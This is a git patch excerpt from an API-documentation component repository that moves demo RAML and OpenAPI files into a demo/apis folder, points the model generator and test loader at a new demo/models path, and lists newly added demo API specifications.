a/demo/example-fragment/example-fragment.raml b/demo/apis/example-fragment/example-fragment.raml similarity index 100% rename from demo/example-fragment/example-fragment.raml rename to demo/apis/example-fragment/example-fragment.raml diff --git a/demo/google-drive-api/docs/api/headline.md b/demo/apis/google-drive-api/docs/api/headline.md similarity index 100% rename from demo/google-drive-api/docs/api/headline.md rename to demo/apis/google-drive-api/docs/api/headline.md diff --git a/demo/google-drive-api/docs/search-for-file.md b/demo/apis/google-drive-api/docs/search-for-file.md similarity index 100% rename from demo/google-drive-api/docs/search-for-file.md rename to demo/apis/google-drive-api/docs/search-for-file.md diff --git a/demo/google-drive-api/docs/upload-files.md b/demo/apis/google-drive-api/docs/upload-files.md similarity index 100% rename from demo/google-drive-api/docs/upload-files.md rename to demo/apis/google-drive-api/docs/upload-files.md diff --git a/demo/google-drive-api/docs/uploadApi/headline.md b/demo/apis/google-drive-api/docs/uploadApi/headline.md similarity index 100% rename from demo/google-drive-api/docs/uploadApi/headline.md rename to demo/apis/google-drive-api/docs/uploadApi/headline.md diff --git a/demo/google-drive-api/docs/work-with-folders.md b/demo/apis/google-drive-api/docs/work-with-folders.md similarity index 100% rename from demo/google-drive-api/docs/work-with-folders.md rename to demo/apis/google-drive-api/docs/work-with-folders.md diff --git a/demo/google-drive-api/examples/about-example.json b/demo/apis/google-drive-api/examples/about-example.json similarity index 100% rename from demo/google-drive-api/examples/about-example.json rename to demo/apis/google-drive-api/examples/about-example.json diff --git a/demo/google-drive-api/examples/app-example.json b/demo/apis/google-drive-api/examples/app-example.json similarity index 100% rename from demo/google-drive-api/examples/app-example.json rename to demo/apis/google-drive-api/examples/app-example.json diff --git a/demo/google-drive-api/examples/app-list-example.json b/demo/apis/google-drive-api/examples/app-list-example.json similarity index 100% rename from demo/google-drive-api/examples/app-list-example.json rename to demo/apis/google-drive-api/examples/app-list-example.json diff --git a/demo/google-drive-api/examples/change-example.json b/demo/apis/google-drive-api/examples/change-example.json similarity index 100% rename from demo/google-drive-api/examples/change-example.json rename to demo/apis/google-drive-api/examples/change-example.json diff --git a/demo/google-drive-api/examples/changeList-example.json b/demo/apis/google-drive-api/examples/changeList-example.json similarity index 100% rename from demo/google-drive-api/examples/changeList-example.json rename to demo/apis/google-drive-api/examples/changeList-example.json diff --git a/demo/google-drive-api/examples/channel-example.json b/demo/apis/google-drive-api/examples/channel-example.json similarity index 100% rename from demo/google-drive-api/examples/channel-example.json rename to demo/apis/google-drive-api/examples/channel-example.json diff --git a/demo/google-drive-api/examples/childList-example.json b/demo/apis/google-drive-api/examples/childList-example.json similarity index 100% rename from demo/google-drive-api/examples/childList-example.json rename to demo/apis/google-drive-api/examples/childList-example.json diff --git a/demo/google-drive-api/examples/childReference-example.json b/demo/apis/google-drive-api/examples/childReference-example.json similarity index 100% rename from demo/google-drive-api/examples/childReference-example.json rename to demo/apis/google-drive-api/examples/childReference-example.json diff --git a/demo/google-drive-api/examples/comment-example.json b/demo/apis/google-drive-api/examples/comment-example.json similarity index 100% rename from demo/google-drive-api/examples/comment-example.json rename to demo/apis/google-drive-api/examples/comment-example.json diff --git a/demo/google-drive-api/examples/comment-reply-update-response.json b/demo/apis/google-drive-api/examples/comment-reply-update-response.json similarity index 100% rename from demo/google-drive-api/examples/comment-reply-update-response.json rename to demo/apis/google-drive-api/examples/comment-reply-update-response.json diff --git a/demo/google-drive-api/examples/commentCreateRequest-example.json b/demo/apis/google-drive-api/examples/commentCreateRequest-example.json similarity index 100% rename from demo/google-drive-api/examples/commentCreateRequest-example.json rename to demo/apis/google-drive-api/examples/commentCreateRequest-example.json diff --git a/demo/google-drive-api/examples/commentList-example.json b/demo/apis/google-drive-api/examples/commentList-example.json similarity index 100% rename from demo/google-drive-api/examples/commentList-example.json rename to demo/apis/google-drive-api/examples/commentList-example.json diff --git a/demo/google-drive-api/examples/commentReply-example.json b/demo/apis/google-drive-api/examples/commentReply-example.json similarity index 100% rename from demo/google-drive-api/examples/commentReply-example.json rename to demo/apis/google-drive-api/examples/commentReply-example.json diff --git a/demo/google-drive-api/examples/commentReplyList-example.json b/demo/apis/google-drive-api/examples/commentReplyList-example.json similarity index 100% rename from demo/google-drive-api/examples/commentReplyList-example.json rename to demo/apis/google-drive-api/examples/commentReplyList-example.json diff --git a/demo/google-drive-api/examples/commentReplyRequest-example.json b/demo/apis/google-drive-api/examples/commentReplyRequest-example.json similarity index 100% rename from demo/google-drive-api/examples/commentReplyRequest-example.json rename to demo/apis/google-drive-api/examples/commentReplyRequest-example.json diff --git a/demo/google-drive-api/examples/file-example.json b/demo/apis/google-drive-api/examples/file-example.json similarity index 100% rename from demo/google-drive-api/examples/file-example.json rename to demo/apis/google-drive-api/examples/file-example.json diff --git a/demo/google-drive-api/examples/fileList-example.json b/demo/apis/google-drive-api/examples/fileList-example.json similarity index 100% rename from demo/google-drive-api/examples/fileList-example.json rename to demo/apis/google-drive-api/examples/fileList-example.json diff --git a/demo/google-drive-api/examples/newFileRequest-example.json b/demo/apis/google-drive-api/examples/newFileRequest-example.json similarity index 100% rename from demo/google-drive-api/examples/newFileRequest-example.json rename to demo/apis/google-drive-api/examples/newFileRequest-example.json diff --git a/demo/google-drive-api/examples/parentList-example.json b/demo/apis/google-drive-api/examples/parentList-example.json similarity index 100% rename from demo/google-drive-api/examples/parentList-example.json rename to demo/apis/google-drive-api/examples/parentList-example.json diff --git a/demo/google-drive-api/examples/parentReference-example.json b/demo/apis/google-drive-api/examples/parentReference-example.json similarity index 100% rename from demo/google-drive-api/examples/parentReference-example.json rename to demo/apis/google-drive-api/examples/parentReference-example.json diff --git a/demo/google-drive-api/examples/permission-example.json b/demo/apis/google-drive-api/examples/permission-example.json similarity index 100% rename from demo/google-drive-api/examples/permission-example.json rename to demo/apis/google-drive-api/examples/permission-example.json diff --git a/demo/google-drive-api/examples/permissionId-example.json b/demo/apis/google-drive-api/examples/permissionId-example.json similarity index 100% rename from demo/google-drive-api/examples/permissionId-example.json rename to demo/apis/google-drive-api/examples/permissionId-example.json diff --git a/demo/google-drive-api/examples/permissionList-example.json b/demo/apis/google-drive-api/examples/permissionList-example.json similarity index 100% rename from demo/google-drive-api/examples/permissionList-example.json rename to demo/apis/google-drive-api/examples/permissionList-example.json diff --git a/demo/google-drive-api/examples/permissionRequest-example.json b/demo/apis/google-drive-api/examples/permissionRequest-example.json similarity index 100% rename from demo/google-drive-api/examples/permissionRequest-example.json rename to demo/apis/google-drive-api/examples/permissionRequest-example.json diff --git a/demo/google-drive-api/examples/permissionUpdateRequest-example.json b/demo/apis/google-drive-api/examples/permissionUpdateRequest-example.json similarity index 100% rename from demo/google-drive-api/examples/permissionUpdateRequest-example.json rename to demo/apis/google-drive-api/examples/permissionUpdateRequest-example.json diff --git a/demo/google-drive-api/examples/property-example.json b/demo/apis/google-drive-api/examples/property-example.json similarity index 100% rename from demo/google-drive-api/examples/property-example.json rename to demo/apis/google-drive-api/examples/property-example.json diff --git a/demo/google-drive-api/examples/propertyList-example.json b/demo/apis/google-drive-api/examples/propertyList-example.json similarity index 100% rename from demo/google-drive-api/examples/propertyList-example.json rename to demo/apis/google-drive-api/examples/propertyList-example.json diff --git a/demo/google-drive-api/examples/revision-example.json b/demo/apis/google-drive-api/examples/revision-example.json similarity index 100% rename from demo/google-drive-api/examples/revision-example.json rename to demo/apis/google-drive-api/examples/revision-example.json diff --git a/demo/google-drive-api/examples/revisionList-example.json b/demo/apis/google-drive-api/examples/revisionList-example.json similarity index 100% rename from demo/google-drive-api/examples/revisionList-example.json rename to demo/apis/google-drive-api/examples/revisionList-example.json diff --git a/demo/google-drive-api/examples/revisionUpdateRequest-example.json b/demo/apis/google-drive-api/examples/revisionUpdateRequest-example.json similarity index 100% rename from demo/google-drive-api/examples/revisionUpdateRequest-example.json rename to demo/apis/google-drive-api/examples/revisionUpdateRequest-example.json diff --git a/demo/google-drive-api/examples/stopWatchingRequest-example.json b/demo/apis/google-drive-api/examples/stopWatchingRequest-example.json similarity index 100% rename from demo/google-drive-api/examples/stopWatchingRequest-example.json rename to demo/apis/google-drive-api/examples/stopWatchingRequest-example.json diff --git a/demo/google-drive-api/examples/watchRequest-example.json b/demo/apis/google-drive-api/examples/watchRequest-example.json similarity index 100% rename from demo/google-drive-api/examples/watchRequest-example.json rename to demo/apis/google-drive-api/examples/watchRequest-example.json diff --git a/demo/google-drive-api/google-drive-api.raml b/demo/apis/google-drive-api/google-drive-api.raml similarity index 100% rename from demo/google-drive-api/google-drive-api.raml rename to demo/apis/google-drive-api/google-drive-api.raml diff --git a/demo/google-drive-api/libraries/about-lib.raml b/demo/apis/google-drive-api/libraries/about-lib.raml similarity index 100% rename from demo/google-drive-api/libraries/about-lib.raml rename to demo/apis/google-drive-api/libraries/about-lib.raml diff --git a/demo/google-drive-api/libraries/annotations.raml b/demo/apis/google-drive-api/libraries/annotations.raml similarity index 100% rename from demo/google-drive-api/libraries/annotations.raml rename to demo/apis/google-drive-api/libraries/annotations.raml diff --git a/demo/google-drive-api/libraries/app-lib.raml b/demo/apis/google-drive-api/libraries/app-lib.raml similarity index 100% rename from demo/google-drive-api/libraries/app-lib.raml rename to demo/apis/google-drive-api/libraries/app-lib.raml diff --git a/demo/google-drive-api/libraries/child-lib.raml b/demo/apis/google-drive-api/libraries/child-lib.raml similarity index 100% rename from demo/google-drive-api/libraries/child-lib.raml rename to demo/apis/google-drive-api/libraries/child-lib.raml diff --git a/demo/google-drive-api/libraries/comment-lib.raml b/demo/apis/google-drive-api/libraries/comment-lib.raml similarity index 100% rename from demo/google-drive-api/libraries/comment-lib.raml rename to demo/apis/google-drive-api/libraries/comment-lib.raml diff --git a/demo/google-drive-api/libraries/file-lib.raml b/demo/apis/google-drive-api/libraries/file-lib.raml similarity index 100% rename from demo/google-drive-api/libraries/file-lib.raml rename to demo/apis/google-drive-api/libraries/file-lib.raml diff --git a/demo/google-drive-api/libraries/parent-lib.raml b/demo/apis/google-drive-api/libraries/parent-lib.raml similarity index 100% rename from demo/google-drive-api/libraries/parent-lib.raml rename to demo/apis/google-drive-api/libraries/parent-lib.raml diff --git a/demo/google-drive-api/libraries/permission-lib.raml b/demo/apis/google-drive-api/libraries/permission-lib.raml similarity index 100% rename from demo/google-drive-api/libraries/permission-lib.raml rename to demo/apis/google-drive-api/libraries/permission-lib.raml diff --git a/demo/google-drive-api/libraries/properties-lib.raml b/demo/apis/google-drive-api/libraries/properties-lib.raml similarity index 100% rename from demo/google-drive-api/libraries/properties-lib.raml rename to demo/apis/google-drive-api/libraries/properties-lib.raml diff --git a/demo/google-drive-api/libraries/revision-lib.raml b/demo/apis/google-drive-api/libraries/revision-lib.raml similarity index 100% rename from demo/google-drive-api/libraries/revision-lib.raml rename to demo/apis/google-drive-api/libraries/revision-lib.raml diff --git a/demo/google-drive-api/libraries/watch-lib.raml b/demo/apis/google-drive-api/libraries/watch-lib.raml similarity index 100% rename from demo/google-drive-api/libraries/watch-lib.raml rename to demo/apis/google-drive-api/libraries/watch-lib.raml diff --git a/demo/google-drive-api/securitySchemes/oauth_2_0.raml b/demo/apis/google-drive-api/securitySchemes/oauth_2_0.raml similarity index 100% rename from demo/google-drive-api/securitySchemes/oauth_2_0.raml rename to demo/apis/google-drive-api/securitySchemes/oauth_2_0.raml diff --git a/demo/google-drive-api/traits/file.raml b/demo/apis/google-drive-api/traits/file.raml similarity index 100% rename from demo/google-drive-api/traits/file.raml rename to demo/apis/google-drive-api/traits/file.raml diff --git a/demo/google-drive-api/traits/results.raml b/demo/apis/google-drive-api/traits/results.raml similarity index 100% rename from demo/google-drive-api/traits/results.raml rename to demo/apis/google-drive-api/traits/results.raml diff --git a/demo/google-drive-api/traits/visibility.raml b/demo/apis/google-drive-api/traits/visibility.raml similarity index 100% rename from demo/google-drive-api/traits/visibility.raml rename to demo/apis/google-drive-api/traits/visibility.raml diff --git a/demo/google-drive-api/types/additional-role-info.raml b/demo/apis/google-drive-api/types/additional-role-info.raml similarity index 100% rename from demo/google-drive-api/types/additional-role-info.raml rename to demo/apis/google-drive-api/types/additional-role-info.raml diff --git a/demo/google-drive-api/types/channels-stop.raml b/demo/apis/google-drive-api/types/channels-stop.raml similarity index 100% rename from demo/google-drive-api/types/channels-stop.raml rename to demo/apis/google-drive-api/types/channels-stop.raml diff --git a/demo/google-drive-api/types/export-format.raml b/demo/apis/google-drive-api/types/export-format.raml similarity index 100% rename from demo/google-drive-api/types/export-format.raml rename to demo/apis/google-drive-api/types/export-format.raml diff --git a/demo/google-drive-api/types/feature.raml b/demo/apis/google-drive-api/types/feature.raml similarity index 100% rename from demo/google-drive-api/types/feature.raml rename to demo/apis/google-drive-api/types/feature.raml diff --git a/demo/google-drive-api/types/file-capabilities.raml b/demo/apis/google-drive-api/types/file-capabilities.raml similarity index 100% rename from demo/google-drive-api/types/file-capabilities.raml rename to demo/apis/google-drive-api/types/file-capabilities.raml diff --git a/demo/google-drive-api/types/file-labels.raml b/demo/apis/google-drive-api/types/file-labels.raml similarity index 100% rename from demo/google-drive-api/types/file-labels.raml rename to demo/apis/google-drive-api/types/file-labels.raml diff --git a/demo/google-drive-api/types/icon.raml b/demo/apis/google-drive-api/types/icon.raml similarity index 100% rename from demo/google-drive-api/types/icon.raml rename to demo/apis/google-drive-api/types/icon.raml diff --git a/demo/google-drive-api/types/import-format.raml b/demo/apis/google-drive-api/types/import-format.raml similarity index 100% rename from demo/google-drive-api/types/import-format.raml rename to demo/apis/google-drive-api/types/import-format.raml diff --git a/demo/google-drive-api/types/new-drive-file.raml b/demo/apis/google-drive-api/types/new-drive-file.raml similarity index 100% rename from demo/google-drive-api/types/new-drive-file.raml rename to demo/apis/google-drive-api/types/new-drive-file.raml diff --git a/demo/google-drive-api/types/owners.raml b/demo/apis/google-drive-api/types/owners.raml similarity index 100% rename from demo/google-drive-api/types/owners.raml rename to demo/apis/google-drive-api/types/owners.raml diff --git a/demo/google-drive-api/types/picture.raml b/demo/apis/google-drive-api/types/picture.raml similarity index 100% rename from demo/google-drive-api/types/picture.raml rename to demo/apis/google-drive-api/types/picture.raml diff --git a/demo/google-drive-api/types/property.raml b/demo/apis/google-drive-api/types/property.raml similarity index 100% rename from demo/google-drive-api/types/property.raml rename to demo/apis/google-drive-api/types/property.raml diff --git a/demo/google-drive-api/types/resource.raml b/demo/apis/google-drive-api/types/resource.raml similarity index 100% rename from demo/google-drive-api/types/resource.raml rename to demo/apis/google-drive-api/types/resource.raml diff --git a/demo/google-drive-api/types/role-set.raml b/demo/apis/google-drive-api/types/role-set.raml similarity index 100% rename from demo/google-drive-api/types/role-set.raml rename to demo/apis/google-drive-api/types/role-set.raml diff --git a/demo/google-drive-api/types/service-quota.raml b/demo/apis/google-drive-api/types/service-quota.raml similarity index 100% rename from demo/google-drive-api/types/service-quota.raml rename to demo/apis/google-drive-api/types/service-quota.raml diff --git a/demo/google-drive-api/types/standard-request.raml b/demo/apis/google-drive-api/types/standard-request.raml similarity index 100% rename from demo/google-drive-api/types/standard-request.raml rename to demo/apis/google-drive-api/types/standard-request.raml diff --git a/demo/google-drive-api/types/team-drive-list.raml b/demo/apis/google-drive-api/types/team-drive-list.raml similarity index 100% rename from demo/google-drive-api/types/team-drive-list.raml rename to demo/apis/google-drive-api/types/team-drive-list.raml diff --git a/demo/google-drive-api/types/team-drive.raml b/demo/apis/google-drive-api/types/team-drive.raml similarity index 100% rename from demo/google-drive-api/types/team-drive.raml rename to demo/apis/google-drive-api/types/team-drive.raml diff --git a/demo/google-drive-api/types/thumbnail.raml b/demo/apis/google-drive-api/types/thumbnail.raml similarity index 100% rename from demo/google-drive-api/types/thumbnail.raml rename to demo/apis/google-drive-api/types/thumbnail.raml diff --git a/demo/google-drive-api/types/upload-size.raml b/demo/apis/google-drive-api/types/upload-size.raml similarity index 100% rename from demo/google-drive-api/types/upload-size.raml rename to demo/apis/google-drive-api/types/upload-size.raml diff --git a/demo/google-drive-api/types/user.raml b/demo/apis/google-drive-api/types/user.raml similarity index 100% rename from demo/google-drive-api/types/user.raml rename to demo/apis/google-drive-api/types/user.raml diff --git a/demo/lib-fragment/lib-fragment.raml b/demo/apis/lib-fragment/lib-fragment.raml similarity index 100% rename from demo/lib-fragment/lib-fragment.raml rename to demo/apis/lib-fragment/lib-fragment.raml diff --git a/demo/multi-server/multi-server.yaml b/demo/apis/multi-server/multi-server.yaml similarity index 100% rename from demo/multi-server/multi-server.yaml rename to demo/apis/multi-server/multi-server.yaml diff --git a/demo/nexmo-sms-api/nexmo-sms-api.raml b/demo/apis/nexmo-sms-api/nexmo-sms-api.raml similarity index 100% rename from demo/nexmo-sms-api/nexmo-sms-api.raml rename to demo/apis/nexmo-sms-api/nexmo-sms-api.raml diff --git a/demo/oas-bearer/oas-bearer.yaml b/demo/apis/oas-bearer/oas-bearer.yaml similarity index 100% rename from demo/oas-bearer/oas-bearer.yaml rename to demo/apis/oas-bearer/oas-bearer.yaml diff --git a/demo/oas-callbacks/oas-callbacks.yaml b/demo/apis/oas-callbacks/oas-callbacks.yaml similarity index 100% rename from demo/oas-callbacks/oas-callbacks.yaml rename to demo/apis/oas-callbacks/oas-callbacks.yaml diff --git a/demo/oauth-flows/oauth-flows.yaml b/demo/apis/oauth-flows/oauth-flows.yaml similarity index 100% rename from demo/oauth-flows/oauth-flows.yaml rename to demo/apis/oauth-flows/oauth-flows.yaml diff --git a/demo/oauth-pkce/oauth-2-pkce.raml b/demo/apis/oauth-pkce/oauth-2-pkce.raml similarity index 100% rename from demo/oauth-pkce/oauth-2-pkce.raml rename to demo/apis/oauth-pkce/oauth-2-pkce.raml diff --git a/demo/oauth-pkce/oauth-pkce.raml b/demo/apis/oauth-pkce/oauth-pkce.raml similarity index 100% rename from demo/oauth-pkce/oauth-pkce.raml rename to demo/apis/oauth-pkce/oauth-pkce.raml diff --git a/demo/oauth1-fragment/oauth1-fragment.raml b/demo/apis/oauth1-fragment/oauth1-fragment.raml similarity index 100% rename from demo/oauth1-fragment/oauth1-fragment.raml rename to demo/apis/oauth1-fragment/oauth1-fragment.raml diff --git a/demo/oauth2-fragment/oauth2-fragment.raml b/demo/apis/oauth2-fragment/oauth2-fragment.raml similarity index 100% rename from demo/oauth2-fragment/oauth2-fragment.raml rename to demo/apis/oauth2-fragment/oauth2-fragment.raml diff --git a/demo/partial-model/documentation.json b/demo/apis/partial-model/documentation.json similarity index 100% rename from demo/partial-model/documentation.json rename to demo/apis/partial-model/documentation.json diff --git a/demo/partial-model/endpoint.json b/demo/apis/partial-model/endpoint.json similarity index 100% rename from demo/partial-model/endpoint.json rename to demo/apis/partial-model/endpoint.json diff --git a/demo/partial-model/security.json b/demo/apis/partial-model/security.json similarity index 100% rename from demo/partial-model/security.json rename to demo/apis/partial-model/security.json diff --git a/demo/partial-model/type.json b/demo/apis/partial-model/type.json similarity index 100% rename from demo/partial-model/type.json rename to demo/apis/partial-model/type.json diff --git a/demo/secured-api/oauth-2-custom-settings.raml b/demo/apis/secured-api/oauth-2-custom-settings.raml similarity index 100% rename from demo/secured-api/oauth-2-custom-settings.raml rename to demo/apis/secured-api/oauth-2-custom-settings.raml diff --git a/demo/secured-api/oauth2-header-delivery.raml b/demo/apis/secured-api/oauth2-header-delivery.raml similarity index 100% rename from demo/secured-api/oauth2-header-delivery.raml rename to demo/apis/secured-api/oauth2-header-delivery.raml diff --git a/demo/secured-api/oauth2-no-delivery.raml b/demo/apis/secured-api/oauth2-no-delivery.raml similarity index 100% rename from demo/secured-api/oauth2-no-delivery.raml rename to demo/apis/secured-api/oauth2-no-delivery.raml diff --git a/demo/secured-api/oauth2-no-grants.raml b/demo/apis/secured-api/oauth2-no-grants.raml similarity index 100% rename from demo/secured-api/oauth2-no-grants.raml rename to demo/apis/secured-api/oauth2-no-grants.raml diff --git a/demo/secured-api/oauth2-pkce.raml b/demo/apis/secured-api/oauth2-pkce.raml similarity index 100% rename from demo/secured-api/oauth2-pkce.raml rename to demo/apis/secured-api/oauth2-pkce.raml diff --git a/demo/secured-api/oauth2-query-delivery.raml b/demo/apis/secured-api/oauth2-query-delivery.raml similarity index 100% rename from demo/secured-api/oauth2-query-delivery.raml rename to demo/apis/secured-api/oauth2-query-delivery.raml diff --git a/demo/secured-api/oauth_1_0.raml b/demo/apis/secured-api/oauth_1_0.raml similarity index 100% rename from demo/secured-api/oauth_1_0.raml rename to demo/apis/secured-api/oauth_1_0.raml diff --git a/demo/secured-api/oauth_1_0_no-settings.raml b/demo/apis/secured-api/oauth_1_0_no-settings.raml similarity index 100% rename from demo/secured-api/oauth_1_0_no-settings.raml rename to demo/apis/secured-api/oauth_1_0_no-settings.raml diff --git a/demo/secured-api/oauth_1_0_no-signature.raml b/demo/apis/secured-api/oauth_1_0_no-signature.raml similarity index 100% rename from demo/secured-api/oauth_1_0_no-signature.raml rename to demo/apis/secured-api/oauth_1_0_no-signature.raml diff --git a/demo/secured-api/oauth_1_0_signature.raml b/demo/apis/secured-api/oauth_1_0_signature.raml similarity index 100% rename from demo/secured-api/oauth_1_0_signature.raml rename to demo/apis/secured-api/oauth_1_0_signature.raml diff --git a/demo/secured-api/passthrough-querystring.raml b/demo/apis/secured-api/passthrough-querystring.raml similarity index 100% rename from demo/secured-api/passthrough-querystring.raml rename to demo/apis/secured-api/passthrough-querystring.raml diff --git a/demo/secured-api/passthrough.raml b/demo/apis/secured-api/passthrough.raml similarity index 100% rename from demo/secured-api/passthrough.raml rename to demo/apis/secured-api/passthrough.raml diff --git a/demo/secured-api/secured-api.raml b/demo/apis/secured-api/secured-api.raml similarity index 100% rename from demo/secured-api/secured-api.raml rename to demo/apis/secured-api/secured-api.raml diff --git a/demo/secured-api/x-custom.raml b/demo/apis/secured-api/x-custom.raml similarity index 100% rename from demo/secured-api/x-custom.raml rename to demo/apis/secured-api/x-custom.raml diff --git a/demo/secured-api/x-other.raml b/demo/apis/secured-api/x-other.raml similarity index 100% rename from demo/secured-api/x-other.raml rename to demo/apis/secured-api/x-other.raml diff --git a/demo/secured-api/x-query-string.raml b/demo/apis/secured-api/x-query-string.raml similarity index 100% rename from demo/secured-api/x-query-string.raml rename to demo/apis/secured-api/x-query-string.raml diff --git a/demo/secured-unions/secured-unions.yaml b/demo/apis/secured-unions/secured-unions.yaml similarity index 100% rename from demo/secured-unions/secured-unions.yaml rename to demo/apis/secured-unions/secured-unions.yaml diff --git a/demo/type-fragment/type-fragment.raml b/demo/apis/type-fragment/type-fragment.raml similarity index 100% rename from demo/type-fragment/type-fragment.raml rename to demo/apis/type-fragment/type-fragment.raml diff --git a/demo/model.mjs b/demo/model.mjs index 118e246..daccfef 100644 --- a/demo/model.mjs +++ b/demo/model.mjs @@ -41,5 +41,6 @@ config.set('documented-api/documented-api.raml', { type: "RAML 1.0" }); config.set('annotated-api/annotated-api.raml', { type: "RAML 1.0" }); generator.generate(config, { - dest: 'demo/apis/' + dest: 'demo/models/', + src: 'demo/apis/', }); diff --git a/test/AmfLoader.js b/test/AmfLoader.js index d6def35..8e05b46 100644 --- a/test/AmfLoader.js +++ b/test/AmfLoader.js @@ -33,7 +33,7 @@ export class AmfLoader extends AmfHelperMixin(Object) { async getGraph(compact=false, fileName='demo-api') { const suffix = compact ? '-compact' : ''; const file = `${fileName}${suffix}.json`; - const url = `${window.location.protocol}//${window.location.host}/demo/apis/${file}`; + const url = `${window.location.protocol}//${window.location.host}/demo/models/${file}`; const response = await fetch(url); if (!response.ok) { throw new Error('Unable to download API data model'); From a62acef31069005813e3c95e2d2075014fededf3 Mon Sep 17 00:00:00 2001 From: Pawel Psztyc Date: Tue, 28 Sep 2021 18:15:35 -0700 Subject: [PATCH 07/24] chore: updating schema documentation Signed-off-by: Pawel Psztyc --- demo/api-schema-documentation.js | 129 +++++- demo/apis/APIC-282/APIC-282.raml | 57 +++ demo/apis/APIC-289/APIC-289.yaml | 21 + demo/apis/APIC-429/APIC-429.yaml | 63 +++ demo/apis/APIC-483/APIC-483.raml | 16 + .../APIC-483/example/list-of-bank-succ.json | 32 ++ .../schema/response-retrieve-list-bank.json | 68 +++ demo/apis/APIC-631/APIC-631.raml | 20 + demo/apis/APIC-649/APIC-649.yaml | 118 ++++++ demo/apis/APIC-667/APIC-667.raml | 30 ++ demo/apis/APIC-671/APIC-671.yaml | 387 ++++++++++++++++++ .../1.0.0/data-types/dataType-address.raml | 126 ++++++ .../1.0.0/data-types/dataType-base.raml | 31 ++ .../dataType-basic-questions-set.raml | 42 ++ .../data-types/dataType-code-description.raml | 36 ++ .../data-types/dataType-code-origin.raml | 24 ++ .../dataType-contact-information.raml | 69 ++++ .../data-types/dataType-content-data.raml | 19 + .../data-types/dataType-content-metadata.raml | 243 +++++++++++ .../1.0.0/data-types/dataType-content.raml | 47 +++ .../1.0.0/data-types/dataType-contextual.raml | 18 + .../1.0.0/data-types/dataType-currency.raml | 22 + .../dataType-document-statistic.raml | 44 ++ .../data-types/dataType-email-address.raml | 19 + .../1.0.0/data-types/dataType-error.raml | 33 ++ .../1.0.0/data-types/dataType-habit.raml | 61 +++ .../1.0.0/data-types/dataType-language.raml | 32 ++ .../1.0.0/data-types/dataType-log-entry.raml | 92 +++++ .../1.0.0/data-types/dataType-master-key.raml | 49 +++ .../data-types/dataType-organization.raml | 38 ++ .../1.0.0/data-types/dataType-party.raml | 37 ++ .../data-types/dataType-performance-node.raml | 43 ++ .../dataType-performance-report.raml | 22 + .../data-types/dataType-person-name.raml | 45 ++ .../1.0.0/data-types/dataType-person.raml | 103 +++++ .../1.0.0/data-types/dataType-phone.raml | 32 ++ .../data-types/dataType-policyholder.raml | 1 + .../1.0.0/data-types/dataType-preferable.raml | 15 + .../1.0.0/data-types/dataType-property.raml | 61 +++ .../1.0.0/data-types/dataType-role.raml | 51 +++ .../dataType-social-media-account.raml | 28 ++ .../1.0.0/data-types/dataType-source.raml | 65 +++ .../1.0.0/data-types/dataType-version.raml | 36 ++ .../1.0.0/docs/Legal.raml | 3 + .../1.0.0/examples/example-error.raml | 7 + .../examples/example-get-health-check.raml | 16 + .../examples/example-performance-report.raml | 23 ++ .../1.0.0/exchange.json | 1 + .../1.0.0/libraries/library-address.raml | 7 + .../1.0.0/libraries/library-base.raml | 3 + .../library-basic-questions-set.raml | 7 + .../libraries/library-code-description.raml | 7 + .../1.0.0/libraries/library-contact-info.raml | 3 + .../1.0.0/libraries/library-content.raml | 5 + .../library-context-and-preference.raml | 4 + .../1.0.0/libraries/library-email.raml | 7 + .../1.0.0/libraries/library-entity.raml | 36 ++ .../1.0.0/libraries/library-error.raml | 3 + .../1.0.0/libraries/library-habit.raml | 7 + .../1.0.0/libraries/library-language.raml | 7 + .../1.0.0/libraries/library-master-key.raml | 3 + .../1.0.0/libraries/library-organization.raml | 4 + .../1.0.0/libraries/library-party.raml | 8 + .../1.0.0/libraries/library-performance.raml | 8 + .../1.0.0/libraries/library-person-name.raml | 3 + .../1.0.0/libraries/library-person.raml | 7 + .../1.0.0/libraries/library-phone.raml | 7 + .../1.0.0/libraries/library-property.raml | 7 + .../1.0.0/libraries/library-role.raml | 6 + .../1.0.0/libraries/library-social-media.raml | 7 + .../1.0.0/libraries/library-source.raml | 7 + .../1.0.0/libraries/library-traits.raml | 11 + .../1.0.0/libraries/library-version.raml | 7 + ...Type-applicable-to-collection-actions.raml | 51 +++ ...esourceType-applicable-to-collections.raml | 157 +++++++ ...sourceType-applicable-to-item-actions.raml | 48 +++ .../resourceType-applicable-to-items.raml | 154 +++++++ .../resourceType-get-health-check.raml | 39 ++ .../securityScheme-basic.raml | 4 + .../traits/trait-asynchronously-callable.raml | 12 + .../1.0.0/traits/trait-filterable.raml | 19 + .../1.0.0/traits/trait-identifyable.raml | 50 +++ .../1.0.0/traits/trait-pageable.raml | 40 ++ .../traits/trait-performance-monitorable.raml | 31 ++ .../1.0.0/traits/trait-routable.raml | 22 + .../1.0.0/traits/trait-selectable.raml | 140 +++++++ .../1.0.0/traits/trait-sortable.raml | 20 + .../1.0.0/traits/trait-traceable.raml | 24 ++ demo/apis/SE-11155/SE-11155.raml | 43 ++ .../dataType-archive-users-request.raml | 19 + .../dataType-archive-users-response.raml | 20 + .../dataType-restore-user-request.raml | 1 + .../dataType-restore-user-response.raml | 1 + .../SE-11155/data-types/dataType-user.raml | 53 +++ .../user-action-restore-user-200.raml | 3 + .../user-action-restore-user-cds-202.raml | 7 + .../examples/user-action-restore-user.raml | 3 + .../examples/user-delete-cds-200.raml | 4 + .../examples/user-delete-cds-202.raml | 11 + demo/apis/SE-11155/examples/user-get-200.raml | 17 + .../SE-11155/examples/user-patch-200.raml | 14 + .../SE-11155/examples/user-patch-cds-200.raml | 4 + .../SE-11155/examples/user-patch-cds-202.raml | 7 + demo/apis/SE-11155/examples/user-patch.raml | 14 + demo/apis/SE-11155/examples/user-put-200.raml | 17 + .../SE-11155/examples/user-put-cds-200.raml | 4 + .../SE-11155/examples/user-put-cds-202.raml | 11 + demo/apis/SE-11155/examples/user-put.raml | 17 + .../users-action-archive-users-200.raml | 5 + .../users-action-archive-users-cds-200.raml | 5 + .../examples/users-action-archive-users.raml | 5 + .../examples/users-delete-cds-200.raml | 4 + .../examples/users-delete-cds-202.raml | 11 + .../apis/SE-11155/examples/users-get-200.raml | 47 +++ .../SE-11155/examples/users-patch-200.raml | 32 ++ .../examples/users-patch-cds-200.raml | 4 + .../examples/users-patch-cds-202.raml | 11 + demo/apis/SE-11155/examples/users-patch.raml | 14 + .../SE-11155/examples/users-post-cds-200.raml | 4 + .../SE-11155/examples/users-post-cds-202.raml | 11 + .../examples/users-post-multi-200.raml | 47 +++ .../SE-11155/examples/users-post-multi.raml | 44 ++ .../examples/users-post-single-200.raml | 17 + .../SE-11155/examples/users-post-single.raml | 16 + 